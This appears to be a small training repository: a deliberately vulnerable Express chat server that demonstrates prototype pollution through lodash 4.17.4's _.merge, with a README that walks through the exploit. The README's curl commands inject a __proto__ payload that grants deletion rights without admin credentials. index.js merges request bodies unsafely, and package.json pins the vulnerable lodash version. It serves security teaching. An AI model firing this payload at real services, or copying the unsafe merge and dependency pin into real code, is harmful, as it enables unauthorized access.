├── README.md ├── index.js └── package.json /README.md: -------------------------------------------------------------------------------- 1 | # Prototype Pollution in JavaScript 2 | 3 | Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution. 4 | 5 | If you want to learm more about the vulnerability you are welcome to explore [the interactive lesson](https://learn.snyk.io/lessons/prototype-pollution/javascript/) provided by Snyk. 6 | 7 | ## Example Application 8 | 9 | This is example chat server vulnerable to Prototype Pollution. 10 | 11 | - `GET /` - List all messages (available without authentication). 12 | ```bash 13 | curl --request GET --url http://localhost:3000/ 14 | ``` 15 | - `PUT /` - Post a new message (only registered users). 16 | ```bash 17 | curl --request PUT \ 18 | --url http://localhost:3000/ \ 19 | --header 'content-type: application/json' \ 20 | --data '{"auth": {"name": "user", "password": "pwd"}, "message": {"text": "Hi!"}}' 21 | ``` 22 | - `DELETE /` - Delete a message (only administrators). 23 | ```bash 24 | curl --request DELETE \ 25 | --url http://localhost:3000/ \ 26 | --header 'content-type: application/json' \ 27 | --data '{"auth": {"name": "admin", "password": "???"}, "messageId": 2}' 28 | ``` 29 | 30 | An attacker target here is to delete message without administrator credentials. 31 | 32 | ## Run 33 | 34 | - `npm install` 35 | - `npm start` 36 | 37 | ## Vulnerability 38 | 39 | The Prototype Pollution vulnerability (CVE-2018-16487) introduced by [lodash@4.17.4](https://www.npmjs.com/package/lodash/v/4.17.4) via `_.merge()` function. More details about the issue you can find on [Snyk website](https://snyk.io/vuln/SNYK-JS-LODASH-73638). 40 | 41 | ## How To Exploit 42 | 43 | 1. Send evil message with `__proto__`. 44 | ```bash 45 | curl --request PUT \ 46 | --url http://localhost:3000/ \ 47 | --header 'content-type: application/json' \ 48 | --data '{"auth": {"name": "user", "password": "pwd"}, "message": { "text": "😈", "__proto__": {"canDelete": true}}}' 49 | ``` 50 | 2. Delete any message you want using user's credentials. 51 | ```bash 52 | curl --request DELETE \ 53 | --url http://localhost:3000/ \ 54 | --header 'content-type: application/json' \ 55 | --data '{"auth": {"name": "user", "password": "pwd"}, "messageId": 1}' 56 | ``` 57 | -------------------------------------------------------------------------------- /index.js: -------------------------------------------------------------------------------- 1 | // This is a simple chat API: 2 | // 3 | // - All users can see all messages. 4 | // - Registered users can post messages. 5 | // - Administrators can delete messages. 6 | // 7 | // The challenge is to delete any message without admin password. 8 | // 9 | const express = require('express'); 10 | const bodyParser = require('body-parser'); 11 | const _ = require('lodash'); 12 | const app = express(); 13 | 14 | /////////////////////////////////////////////////////////////////////////////// 15 | // In order of simplicity we are not using any database. But you can write the 16 | // same logic using MongoDB. 17 | const users = [ 18 | // You know password for the user. 19 | {name: 'user', password: 'pwd'}, 20 | // You don't know password for the admin. 21 | {name: 'admin', password: Math.random().toString(32), canDelete: true}, 22 | ]; 23 | 24 | let messages = []; 25 | let lastId = 1; 26 | 27 | function findUser(auth) { 28 | return users.find((u) => 29 | u.name === auth.name && 30 | u.password === auth.password); 31 | } 32 | /////////////////////////////////////////////////////////////////////////////// 33 | 34 | app.use(bodyParser.json()); 35 | 36 | // Get all messages (publicly available). 37 | app.get('/', (req, res) => { 38 | res.send(messages); 39 | }); 40 | 41 | // Post message (restricted for users only). 42 | app.put('/', (req, res) => { 43 | const user = findUser(req.body.auth || {}); 44 | 45 | if (!user) { 46 | res.status(403).send({ok: false, error: 'Access denied'}); 47 | return; 48 | } 49 | 50 | const message = { 51 | // Default message icon. Cen be overwritten by user. 52 | icon: '👋', 53 | }; 54 | 55 | _.merge(message, req.body.message, { 56 | id: lastId++, 57 | timestamp: Date.now(), 58 | userName: user.name, 59 | }); 60 | 61 | messages.push(message); 62 | res.send({ok: true}); 63 | }); 64 | 65 | // Delete message by ID (restricted for users with flag "canDelete" only). 66 | app.delete('/', (req, res) => { 67 | const user = findUser(req.body.auth || {}); 68 | 69 | if (!user || !user.canDelete) { 70 | res.status(403).send({ok: false, error: 'Access denied'}); 71 | return; 72 | } 73 | 74 | messages = messages.filter((m) => m.id !== req.body.messageId); 75 | res.send({ok: true}); 76 | }); 77 | 78 | app.listen(3000); 79 | console.log('Listening on port 3000...'); 80 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "vulnerable-chat", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "start": "node index.js" 8 | }, 9 | "author": "", 10 | "license": "MIT", 11 | "dependencies": { 12 | "body-parser": "1.18.3", 13 | "express": "4.16.4", 14 | "lodash": "4.17.4" 15 | } 16 | } 17 | --------------------------------------------------------------------------------